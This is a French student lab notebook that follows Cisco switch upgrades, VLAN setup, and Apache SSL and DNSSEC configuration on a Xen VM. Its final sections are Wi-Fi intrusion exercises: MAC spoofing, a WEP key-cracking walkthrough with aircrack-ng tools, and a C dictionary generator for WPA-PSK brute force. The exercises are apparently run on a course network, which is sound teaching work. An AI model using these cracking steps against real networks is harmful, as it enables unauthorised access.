Cahier groupe n°4

Sommaire

1 Cahier des charges de la tâche particulière
- 1.1 Présentation de la tâche particulière
- 1.2 Matériel utilisé pour la tâche particulière
2 Suivi de l'avancement du TP

Cahier des charges de la tâche particulière

Présentation de la tâche particulière

La tâche particulière que nous devons effectuer est de configurer le commutateur Cisco 6009 présent en salle E304. Nous devons dans un premier temps de les mettre à jour de CatOS vers IOS, pour pouvoir dans un second temps mettre en place les différents VLAN. Cette tâche particulière est effectuée avec le groupe n°3 qui s'occupera du commutateur présent dans la salle voisine E306.

Architecture Réseau

Matériel utilisé pour la tâche particulière

Commutateur Cisco 6009
Un ordinateur muni d'un port série pour la configuration
Un câble reliant le commutateur à ce port série

Suivi de l'avancement du TP

Semaine 1 (01/10/2015)

Découverte des commutateurs Cisco 6009 présents en E304 et E306

- Le commutateur possède deux modules constitués d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur.
- Ces cartes possèdent toutes les deux leurs propres mémoires flash à savoir sup-bootflash pour le superviseur et bootflash pour la carte fille.
- On peut également insérer une carte flash de 20Mo dans le module

Initialement, ces modules fonctionnent sous CatOS pour la plupart d'entre eux. L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).

Echange d'un superviseur entre les deux commutateurs afin d'avoir sur chacun d'entre eux un superviseur sous IOS et un autre sous CatOS

Un des superviseurs en E304 censé fonctionner sous CatOS ne démarre pas correctement

On décide donc d'utiliser une carte flash formatée sous CatOS grâce à l'autre commutateur présent dans la salle voisine. On y copie également un système CatOS pour le superviseur et un boostrap CatOS

Pour la prochaine séance, l'objectif est d'utiliser cette carte pour booter le 2e module en CatOS.

Semaine 2 (08/10/2015)

Le premier module fonctionne correctement sous IOS

Problème de la semaine précédente : le 2e module refuse de booter, même sous le CatOS initialement présent.

Les données de la carte ont été supprimées, on ne peut les récupérer car tous les autres modules tournent actuellement sou IOS.

Il faut trouver une solution pour booter le commutateur sous CatOS d'une autre façon

Semaine 3 (15/10/2015)

On cherche une solution pour copier un fichier sur la bootfalsh du module qui ne fonctionne pas :
- xmodem, ymodem, zmodem3
- CuteCom

En parallèle, on crée notre machine virtuelle Xen sur Cordouan : On achète un nom de domaine sur Gandi : zegbicho.lol

On se connecte en ssh sur cordouan :

ssh root@cordouan.insecserv.deule.net

On crée notre machine virtuelle xen :

xen-create-image --hostname=KARMELIET --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.174 --ip=193.48.57.164

On regarde l'était d'avancement de la création et on récupère notre mot de passe root dans le fichier : KARMELIET.log

tail -f /var/log/xen-tools/KARMELIET.log

On modifie le fichier de conf KARMELIET.cfg :
- bridge=IMA5sc
- on retire l'IP
- mémoire à 512M

Semaine 4 (22/10/2015)

On lance la VM xen:

xl create /etc/xen/KARMELIET.cfg

On se connecte sur la VM xen :

xl console KARMELIET

Activation l'IPv4 packet forwarding en de-commentant la ligne appropriée dans le fichier /etc/sysctl.conf

On vérifie le fichier /etc/network/interfaces

Mises à jour :

apt-get update
apt-get upgrade

On ajoute le serveur apache, le serveur DNS et SSH:

apt-get install openssh
apt-get install bind9

On active la possibilité de se connecter en SSH en tant que root en modifiant le fichier de config /etc/ssh/sshd_config :

PermitRootLogin yes

Tests de connexion Wi-Fi depuis l'EeePC (nom de l'EeePC : heron)

On modifie le fichier /etc/network/interfaces de façon à pouvoir se connecter en sans-fil sur le SSID "baguette" :

auto wlan0 
  iface wlan0 inet static
  wireless-essid baguette
  address 172.26.79.61
  netmask 255.255.240.0
  gateway 172.26.79.254

On configure au fichier /etc/resolv.conf : nameserver 193.48.57.48

On réinitialise les connexions réseau et on se connecte au SSID "baguette" :

/etc/init.d/networking stop
/etc/init.d/networking start
iwconfig wlan0 essid baguette

La connexion sur tf1.fr fonctionne !

Tentative d'intrusion : On essaye de se connecter sur l'autre point d'accès Wi-Fi "troubadour" en modifiant la configuarion du wlan0 dans le fichier /etc/network/interfaces (wireless-essid troubadour). On modifie aussi notre adresse MAC :

 ifconfig wlan0 down
 ifconfig wlan0 hw ether xx:xx:xx:xx:xx:xx
 ifconfig wlan0 up

Suite de la configuration des superviseurs du commutateur

Un CatOS, puis un IOS a pu être installé sur le superviseur défectueux depuis une carte mémoire flash. On veut que le système démarre sur une image de IOS. On modifie alors le "boot system" par la commande configure terminal :

Router#config terminal
Router(config)#boot system flash sup-bootflash:c6sup11-js-mz.121-27b.E1.bin
//On quitte le mode configuration et on sauvegarde les modifications
Router#write

On se connecte sur le rommon et on modifie le mode de démarrage lors de la mise sous-tension par la commande confreg. Ainsi, le système ne bootera plus sur le ROM Monitor mais sur l'image de l'OS configurée précédemment.

Pour la prochaine fois, il suffira de brancher les deux superviseurs, de formater en IOS le bootflash et sup-bootflash du superviseur qui était défectueux (slave), et d'y copier les fichiers binaires correspondants depuis l'autre superviseur (master).

Semaine 5 (09/11/2015)

Configuration du switch E304

La configuration réseau du commutateur se déroule en 3 étapes.

Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E304, sur l'interface 4/1, et la liaison câble qui relie le commutateur au routeur en E306 sur l'interface 2/2. On entre donc les commandes ci-dessous :

conf t 
int Gi4/1
switchport
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

int Gi2/2
switchport
switchport trunk encapsulation dot1q
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

Nous avons ensuite créé les VLAN 11-20, 110 et 130 de cette façon :

conf t
vlan 11
name vlan11
exit

On leur attribue ensuite un port physique du commutateur :

int Gi4/11
switchport
switchport access vlan 11
no shut
exit

On obtient donc le schéma physique suivant :

VLAN11 : Gigabit 4/11
VLAN12 : Gigabit 4/12
VLAN13 : Gigabit 4/13
VLAN14 : Gigabit 4/14
VLAN15 : Gigabit 4/15
VLAN16 : Gigabit 4/16
VLAN17 : Gigabit 4/17
VLAN18 : Gigabit 4/18
VLAN19 : Gigabit 4/19
VLAN20 : Gigabit 4/20
VLAN 110 : Gigabit 5/1

VM xen

Configuration du serveur apache et installation du certificat SSL

Pour activer le certificat SSL, nous devons à la fois manipuler sur notre machine Xen et sur le site gandi. Nous nous sommes d'ailleurs aidés des tutoriels gandi pour réaliser cette tâche. Nous certifions les domaines www.zegbicho.lol et zegbicho.lol. Nous avons tout d'abord besoin de clés, on génère donc le premier fichier .csr à fournir à gandi avec la commande :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout zegbicho.lol.key -out zegbicho.lol.csr

Cette commande nous a donc généré deux fichier : un fichier .key qui correspond à notre clé privée et un .csr ( clé publique) que nous devons fournir à gandi. Ce dernier nous retourne alors un .crt, nous supprimons aors la .crs dont nous n'avons plus besoin. Nous décidons de les ranger dans des dossier situés dans le dossier /etc/ssl/ de notre machine xen :

Le fichier .crt dans /etc/ssl/certs/
le fichier .key dans /etc/ssl/private/

Nous allons à présent suivre le tutoriel gandi : https://wiki.gandi.net/fr/hosting/using-linux/tutorials/ubuntu/ssl

On active le module ssl d'apache :

a2enmod ssl

Puis on fait en sorte qu'apache écoute sur le port 443, on édite donc le fichier de configuration /etc/apache2/ports.conf et on ajoute:

<IfModule mod_ssl.c>
   Listen 443
   NameVirtualHost 193.48.57.164:443
</IfModule>

Maintenant nous pouvons obtenir le certificat intermédiare de gandi. Nous récupérons le fichier GandiStandardSSLCA2.pem qui nous plaçons dans le répertoire /etc/ssl/certs/ On effectue le rehash de la structure ssl:

c_rehash /etc/ssl/certs

Pour ajouter un domaine sur notre apache sécurisé, on crée le site dédié www.zegbicho.lol. Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.zegbicho.lol/ sur le port 443, dans /etc/apache2/sites-available/000-zegbicho.lol-ssl.conf :

NameVirtualHost *:443
 <VirtualHost *:443>

       ServerName www.zegbicho.lol
       ServerAlias zegbicho.lol
       DocumentRoot /var/www/www.zegbicho.lol/
       CustomLog /var/log/apache2/secure_access.log combined

       SSLEngine on
       SSLCertificateFile /etc/ssl/certs/zegbicho.lol.crt
       SSLCertificateKeyFile /etc/ssl/private/zegbicho.lol.key
       SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
       SSLVerifyClient None

 </VirtualHost>

Nous vérifions la chaine SSl crée avec la commande :

openssl s_client -connect 193.48.57.164:443

Notre chaine est validée, on passe donc à la configuration du serveur DNS

Serveur DNS et DNSSEC avec Bind

Nous nous aidons ici aussi des tutos gandi

Il s'agira tout d'abord de s'occuper du changement de DNS sur le site gandi. Nous devons au prélable gérer les glue records : https://wiki.gandi.net/fr/domains/management/change-glue On va alors créer un enregistrement Glue :

Nom du serveur : ns.zegbicho.lol
Adresse IP : 193.48.57.164

On peut alors modifier les serveurs de nom sur gandi.net : https://wiki.gandi.net/fr/dns/change

DNS1 : ns.zegbicho.lol
DNS2 : ns6.gandi.net

On utilise un serveur DNS secondaire appartenant à gandi.

On attends la propagation DNS et on s'attaque à la configuration de BIND : https://wiki.gandi.net/fr/hosting/using-linux/tutorials/ubuntu/bind

Toute cette configuration s'effectue dans le dossier /etc/bind/

On commence par créer un dossier zones dans lequel on créer un fichier de zone /etc/bind/zones/db.zegbicho.lol :

$TTL    604800

@       IN      SOA     ns.zegbicho.lol. root.zegbicho.lol. (
                   2015102001         ; Serial
                        86400         ; Refresh
                         3600         ; Retry
                      2419200         ; Expire
                        86400 )       ; Negative Cache TTL

$include /etc/bind/michay.lol.dnssec/zegbicho.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/zegbicho.lol-zsk.key

@       IN      NS      ns.zegbicho.lol.
@       IN      NS      ns6.gandi.net.
ns      IN      A       193.48.57.164
www     IN      A       193.48.57.164
god     IN      A       193.48.57.164
ns      IN      AAAA    2001:660:4401:60bb:216:3eff:fef6:5366
www     IN      AAAA    2001:660:4401:60bb:216:3eff:fef6:5366
god     IN      AAAA    2001:660:4401:60bb:216:3eff:fef6:5366
@       IN      A       193.48.57.164
@       IN      AAAA    2001:660:4401:60bb:216:3eff:fef6:5366

Puis on créer le fichier définissant la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :

$TTL    604800

@       IN       SOA     ns.zegbicho.lol. root.zegbicho.lol.     (
      2015102001       ;serial
      14400            ;refresh
      3600             ;retry
      604800           ;expire
      10800            ;minimum
)

57.48.193.in-addr.arpa.                IN      NS      ns.zegbicho.lol.
57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.

163               IN      PTR     zegbicho.lol.

On modifie ensuite le fichier de configuration /etc/bind/named.conf.local, dans lequel on ajoute les zones :

zone "zegbicho.lol" {
      type master;
      file "/etc/bind/zones/db.zegbicho.lol.signed";
      allow-transfer { 217.70.177.40; };
      notify yes;
};

zone "57.48.193.in-addr.arpa" IN {
      type master;
      file "/etc/bind/zones/57.48.193.in-addr.arpa";
      allow-transfer { 217.70.177.40; };
};

On finit avec la sécurisation DNS avec DNSSEC: On remarque que le fichier référencé dans /etc/bind/named.conf.local est

/etc/bind/zones/db.zegbicho.lol.signed

Ce fichier est créé après la signature de la zone, mais nous devons tout d'abord réaliser quelques manipulations.

DNSSEC est un protocole de sécurisation du protocole DNS. Celui-ci a pour but de signer les informations publiées grâce à un jeu de clés chiffrées. On crée donc 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). Pour accélérer la génération nous utilisons l'option -r /dev/urandom qui permet d'utiliser une génération pseudo-aléatoire au lieu d'une génération /dev/random par défaut.

Génération de la KSK :

dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE zegbicho.lol

Génération de la ZSK :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE zegbicho.lol

On obtient donc 4 clés. En effet, à chaque génération de clé, on obtient une clé publique et une clé privée. Pour s'y retrouver, on renomme ces clés et on les place dans un dossier qu'on créer : /etc/bind/zegbicho.lol.dnssec Ces clés (les deux clés publiques) sont référées dans le fichier de zone db.zegbicho.lol :

$include /etc/bind/michay.lol.dnssec/zegbicho.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/zegbicho.lol-zsk.key

On va ensuite sur gandi.net dans la rubrique "gérer DNSSEC" et on leur fourni les deux clés publiques KSK et ZSK. Il peut alors les propager.

Finalement, on signe la zone avec la command esuivant : dnssec-signzone -o zegbicho.lol -k zegbicho.lol.dnssec/zegbicho.lol-ksk zones/db.zegbicho.lol zegbicho.lol.dnssec/zegbicho.lol-zsk

Cette commande va créer le fichier /etc/bind/zones/db.zegbicho.lol.signed qu'on réfère dans le fichier de configuration /etc/bind/named.conf.local

On finit alors par créer et éditer le fichier de cofiguration des options : /etc/bind/named.conf.options :

options {
         dnssec enable yes;
         dnssec-validation yes;
         dnssec-lookaside auto;
         listen-on-v6 {any;};
};

Vérification de la fonctionnalité de notre site

On entre l'URL zegbicho.lol, qui est automatiquement redirigée vers https://zegbicho.lol On remarque que le certificat est valide.
La page est uniquement accessible en https car nous avons modifié le fichier de confguration etc/apache2/sites-available/000-default.conf:

<VirtualHost *:80>
.....
Redirect permanent / https://zegbicho.lol
....
</VirtualHost>

On test également notre configuration avec l'outil DNSSEC de l'outil https://www.zonemaster.fr/ et on remarque que le DNSSEC est validé/actif.

Le site web réalisé est donc sécurisé !

Wifi : Tests d'intrusion par cassage de clé WEP

Pour ce faire, on passe l'interface Wifi en mode monitor :

airmon-ng start wlan0

On affiche ensuite le trafic Wifi visible à l'aide de la commande :

airodump-ng mon0

Une fois notre point d'accès repéré, on procède à un échange de données avec le point d'accès qui nous intéresse (cracotte04) :

airodump-ng --essid cracotte04 --ch 7 --write out mon0

En parallèle de ce processus, on peut lancer le cassage de la clé WEP avec la commande :

aircrack-ng out-01.cap

Après quelques minutes d'attente (soit env. 66249 IVs), on obtient enfin notre clé :

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:11:11 ]

Wifi : Cassage de clé WPA-PSK par force brute

Pour craquer ce type de clé, il faut trouver un moyen un peu plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant cent millions de clés (tous les nombres à 8 chiffres : 00000000 à 99999999). Nous avons pour cela créé un petit code C :

#include <stdio.h>
#include <stdlib.h>
int main(){
            int i=0;
            FILE* dico = fopen("dictionnaire.txt","w+");
            for(i=0;i<=99999999;i++){
            fprintf(dico, "%08d\n", i);
          }
          fclose(dico);
          return 0;
}